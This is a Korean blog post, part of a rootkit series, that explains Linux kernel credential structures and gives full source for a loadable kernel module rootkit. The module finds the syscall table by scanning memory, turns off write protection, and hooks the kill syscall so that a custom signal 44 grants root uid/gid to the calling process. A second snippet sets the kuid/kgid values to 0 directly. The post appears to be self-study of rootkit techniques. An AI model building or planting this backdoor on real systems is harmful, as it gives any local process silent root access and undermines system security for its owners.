본문 바로가기

reversing/rootkit

rootkit - root [1]

SMALL

커널 버전마다 user의 credential을 처리하는 방식이 다양하다.


kernel 2.6 버전 이전

task_struct의 구조체에서 uid, euid와 같이 권한 설정 파일에 접근가능했음.

하지만 차즘 차츰 변화했음


kernel 2.6 버전 이후? --> 확실하지 않음.

task_struct의 권한? 관련 부분 내용을 struct cred 로 따로 분리하여서 관리하고 있음

그래서 credential를 변경하기 위해서는 struct cred 구조체를 변경해줘야 한다.


사용되는 관련함수

prepare_creds()

commit_creds()


prepare 함수를 이용해서 자신의 cred 구조체를 만든다. 그 후 원하는 설정으로 변경한다.

그리고 coomit_creds 함수를 이용해서 등록하는 과정을 이용한다.



1) namespace kuid, kgid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
#include <linux/module.h>    // included for all kernel modules
#include <linux/kernel.h>    // included for KERN_INFO
#include <linux/init.h>      // included for __init and __exit macros
#include <linux/unistd.h>
#include <linux/kobject.h>
#include <linux/syscalls.h>
 
 
MODULE_LICENSE("GPL"); // GPL == GNU Public License v2 또는 이상
// GPL과 호환되는 라이선스로 등록한 모듈에서만 해당 심볼들을 사용가능.
MODULE_AUTHOR("Richong");
MODULE_DESCRIPTION("richong.tistory.com");
 
 
//x86 system
#if defined(__i386__)
#define START_CHECK 0xc0000000
#define END_CHECK 0xd0000000
typedef unsigned int psize;
#else //x64 system
#define START_CHECK 0xffffffff81000000
#define END_CHECK 0xffffffffa2000000
typedef unsigned long psize;
#endif
 
//global var
 
asmlinkage int (*org_kill)(pid_t pid, int sig);
psize* psys_table = NULL;
///////////////////////////////////////////////////////////////////////////////
 
 
//function define
int rootkit_init(void);
void rootkit_exit(void);
module_init(rootkit_init);
module_exit(rootkit_exit);
void write_on(void);
void write_off(void);
asmlinkage int my_kill(pid_t pid, int sig);
asmlinkage void get_root(pid_t pid);
 
 
void write_off(void){
    write_cr0(read_cr0() & (~0x10000));
}
 
void write_on(void){
    write_cr0(read_cr0() | (0x10000));
}
 
 
enum {
    SIGTEST = 44,
};
 
 
 
 
 
asmlinkage int my_kill(pid_t pid, int sig){
 
    int ret = 0;
    printk("kill pid : %d sig : %d\n",pid,sig);
 
    switch(sig){
        case SIGTEST:
            get_root(pid);
            printk("Hello world\n");
            break;
        default:
            ret = org_kill(pid,sig);
            break;
    }
    return ret;
}
 
 
asmlinkage void get_root(pid_t pid)
{
 
   struct user_namespace *ns = current_user_ns();
   struct cred *new;
 
   kuid_t kuid = make_kuid(ns, 0);
   kgid_t kgid = make_kgid(ns, 0);
 
   if(!uid_valid(kuid)) {
      return -EINVAL;
   }
 
   new = prepare_creds();
 
   if(new != NULL) {
      new->uid = kuid;
      new->gid = kgid;
      new->euid = kuid;
      new->egid = kgid;
      new->suid = kuid;
      new->sgid = kgid;
      new->fsuid = kuid;
      new->fsgid = kgid;
 
      return commit_creds(new);
   } else {
      abort_creds(new);
      return -ENOMEM;
   }
}
 
psize find_syscall_table(void)
{
    psize** ppsyscall_table = NULL;
    psize index = START_CHECK;
    //kernel memory searching
    while (index < END_CHECK){
        ppsyscall_table = (psize**)index;
        
        //ppsyscall_table __NR_close index value get
        //cmp true sys_close value
        if(ppsyscall_table[__NR_close] == (psize*) sys_close){
            return &ppsyscall_table[0];
        }
    
        //4byte ++
        index += sizeof(void*);
    }
    
    return 0;
}
 
 
 
int rootkit_init(void) {
 
 
 printk("rootkit: module loaded\n");
 //find syscall table
 psys_table = find_syscall_table();
 
 if(psys_table){
    printk("system call table address : %p\n",psys_table);
 }
 else{
    printk("Not find syscall table address \n");
 }
 
 //write protect off
 write_off();
 
 //syscall table change
 //org_write backup origin address data
 org_kill = (void*) xchg(&psys_table[__NR_kill], my_kill);
 
  //write protect on
 write_on();
 
 return 0;
}
 
 
 
 
 
void rootkit_exit(void) {
 printk("rootkit: module removed\n");
 
 write_off();
 xchg(&psys_table[__NR_kill],org_kill);
 write_on();
}
cs

<signal 보낸 후>


ps, uid와 gid를 변경하는 부분에서 kgid_t, kuid를 넣지 않고 0과 같은.. 정수형을 넣으려고하면 컴파일할 때 애러가 난다.

make_kuid, make_kgid 와 같음 함수를 이용해서 대입할 권한의 값?을 생성하도록 한다.



2) kuid, kgid 구조 확인 후, 변경

위의 값을 무작정 정수 0으로 변경하려고 하니 컴파일 애러가 났다.

그래서 구조체를 학인해보면 매우 단숞하다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
typedef struct {
 
    uid_t val;
 
} kuid_t;
 
 
typedef struct {
 
    gid_t val;
 
} kgid_t;
 
 
new->uid.val = 0;
new->gid.val = 0;
new->euid.val = 0;
new->egid.val = 0;
new->suid.val = 0;
new->sgid.val = 0;
new->fsuid.val = 0;
new->fsgid.val = 0;
cs


위의 구조체에 val 값이 있고 해당 값은 기본적인 uid, gid 값이다.

그렇기 때문에 root인 0으로 전부 변경해주면 된다.


[참고] man namespaces, man man user_namespaces

[참고] http://www.bricktou.com/kernel/user_namespace_make_kuid_en.html

[참고] https://swbae98.wordpress.com/2011/04/27/task_struct-%EC%97%90-%EC%9E%88%EB%8D%98-uid-euid-%ED%95%84%EB%93%9C/

[참고]https://shanetully.com/2014/04/adding-a-syscall-to-linux-3-14/

[참고]https://stackoverflow.com/questions/39229639/how-to-get-current-processs-uid-and-euid-in-linux-kernel-4-2



LIST

'reversing > rootkit' 카테고리의 다른 글

rootkit - packet sniff[0]  (0) 2017.06.21
rootkit - root [2]  (0) 2017.06.13
rootkit - vfs hooking [readdir,iterate]  (0) 2017.05.25
rootkit - 자료정리 task  (0) 2017.05.11
rootkit- syscall [2]  (0) 2017.05.04